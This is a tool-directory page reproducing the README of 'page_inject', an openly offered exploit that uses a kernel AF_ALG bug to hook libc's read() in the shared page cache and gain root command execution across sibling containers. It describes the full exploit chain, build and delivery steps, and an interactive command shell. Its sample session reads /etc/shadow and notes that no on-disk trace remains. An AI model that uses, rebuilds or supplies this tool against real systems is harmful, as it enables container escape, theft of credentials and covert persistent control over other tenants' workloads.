Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
page_inject — CVE-2026-31431-killed page-cache exploit — code exec into containers sharing the same image layer | Kitploit
Tools/GitHubGitHub/sgkdev/page_inject
Vulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed TeamingContainer EscapeBinary Exploitation
GitHubsgkdev/page_inject

page_inject

CVE-2026-31431-killed page-cache exploit — code exec into containers sharing the same image layer

View Repository
7414704 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

page_inject - AF_ALG aead cross-container escape

AF_ALG aead vulnerability cross-container exploit -- pivot from one compromised container into every sibling container that shares the same libc.so.6 image layer.

This is an escape primitive: it runs from inside an unprivileged container that the attacker has already compromised, and uses the AF_ALG authencesn ESN-rotation 4-byte arbitrary-write bug (CVE-2026-31431) to plant a persistent read() hook in the page-cache pages of libc.so.6. Because Docker / containerd back overlayfs lower-layer files with shared inodes, those pages are visible to every sibling container instantiated from the same image -- the hook fires in their processes too, and the attacker gets command execution inside each one.

Threat model

  • Attacker has shell access to a single container (call it victim) on a host that runs other containers (siblings) from the same image as victim.
  • victim runs with default Docker/k8s posture: unprivileged uid inside the container's user namespace, default seccomp profile, default AppArmor profile, no special capabilities, no host bind mounts.
  • victim has only:
    • read access to its own libc (/usr/lib/x86_64-linux-gnu/libc.so.6 or wherever the distro installs it)
    • the standard socket(AF_ALG, ...) syscall family
    • the standard splice / vmsplice syscalls
    • write access to a directory it can chmod +x (e.g. /tmp)
  • The kernel must be vulnerable to CVE-2026-31431 (any algif_aead + authencesn build prior to the upstream revert fix).

That is all. No special CAP_*, no host filesystem access. The attacker drops a self-contained statically-linked binary inside the container, runs it, and the page-cache corruption -- and therefore the hook -- becomes visible to every sibling.

How the exploit chains together

  1. Page-cache page identity. Inside an overlayfs container, /usr/lib/.../libc.so.6 is served by the lower image layer's ext4 inode. Every container started from the same image shares that backing inode, and the kernel's page cache is keyed by the underlying inode -- not by the overlay or by the namespace. So a single 4-byte write into a page-cache page is visible to all sibling containers' processes that have that page mmap'd.

  2. AF_ALG aead vuln turns one such write into many. algif_aead chains the user RX iovec with the trailing authsize bytes of the spliced TX SGL, and authencesn's ESN rotation parks 4 bytes of the AAD's seq_high field at dst[assoclen + cryptlen] -- which is the first byte of that chained foreign tail. The spliced page is a page-cache page of a file the attacker only has read access to, but the cipher copies bytes into it anyway, with no dirty bookkeeping. (See crypto/algif_aead.c and crypto/authencesn.c for the underlying mechanics.)

  3. Bootstrapping a callable primitive. The first thing page_inject does is bootstrap Zone A -- an asm-encoded re-implementation of the same AF_ALG dance (write_cache.asm), placed inside libc's .text cave. This makes the 4-byte write a regular call from inside any future hook payload, no per-call socket setup needed.

  4. Installing the hook. The injector then writes Zone C (zone_c.asm) into libc's .text cave and patches the first 7-12 bytes of read() with an E9 disp32 jump to it. The prologue's displaced bytes are emulated faithfully in Zone C's fast-path (three different glibc prologues are recognised -- see "Prologue handling" below). The hook is now live in libc's page cache.

  5. Hook propagation. Every sibling container runs processes that call read() constantly (logging daemons, healthchecks, cat /etc/hostname, anything). On the first such call inside a sibling container, the hijacked prologue jumps into Zone C, which:

    • stat("/")s the container's root inode (a stable per-namespace ID), uses it as the container's slot key,
    • scans the slot table for an existing entry with that key,
    • if absent, registers the key and fork()s a long-lived command-loop child that polls the CMD area for orders,
    • returns to read()+N so the caller is none the wiser. The original sibling process keeps running. From now on the attacker has a daemon inside that container.
  6. Command channel. The attacker uses the same page_inject binary in --shell mode to write commands into the slot region's CMD area. Each registered sibling container's hook child polls, forks /bin/sh -c <cmd>, captures stdout/stderr into the OUTPUT area, signals completion, and goes back to polling. The shell shows the output. Because every CMD/OUTPUT write also goes through the vuln primitive, no special privilege is needed.

  7. Unhook. When done, unhook restores read()'s original prologue bytes and zeros the slot table; hook children see an empty slot on their next iteration and self-terminate. The page-cache modifications themselves are clean (the kernel never marked the modified pages dirty), so once every container that has libc mmap'd is stopped, a drop_caches reverts the cache fully -- no on-disk artefact remains.

Building

The injector is built outside the victim container -- typically on the attacker's own development machine -- because most production container images don't ship a compiler. A standard Linux x86_64 dev environment with gcc (with -static-link support) and nasm is enough.

make            # assembles .asm sources via gen_arrays.sh, links static page_inject
make shellcode  # also produces inspectable .bin flat binaries
make clean      # removes generated files and the binary

The output is a single statically-linked ELF (./page_inject) that runs on any modern x86_64 Linux kernel.

Delivery and usage (from the victim container)

Once the attacker has shell on victim, they upload the binary to a writable directory (typically /tmp):

# inside the compromised container, attacker session
victim$ ./page_inject

With no arguments, page_inject defaults to /usr/lib/x86_64-linux-gnu/libc.so.6 (the post-merge Debian/Ubuntu location). For other distros the libc is at a different path; either pass it explicitly or use --root / to scan the built-in lookup table from the container's root:

# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6

# Arch
victim$ ./page_inject /usr/lib/libc.so.6

# Auto-detect, regardless of distro:
victim$ ./page_inject --root /

Either invocation does the same thing: ELF-parse the in-container libc, install the hook in its page cache, monitor the slot table for ~30 s while siblings register, and run a one-shot id against the first sibling that registered as a sanity check.

After bootstrap, drop into the command shell to drive any registered sibling:

victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
  [0] 0x0018598d  <- target
  [1] 0x001859ab
  [2] 0x001859cd

inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...

unhook cleans the hook out of every sibling container in one shot and lets the hook children self-terminate.

Usage: page_inject [OPTIONS] [LIBC_PATH]
Download Tool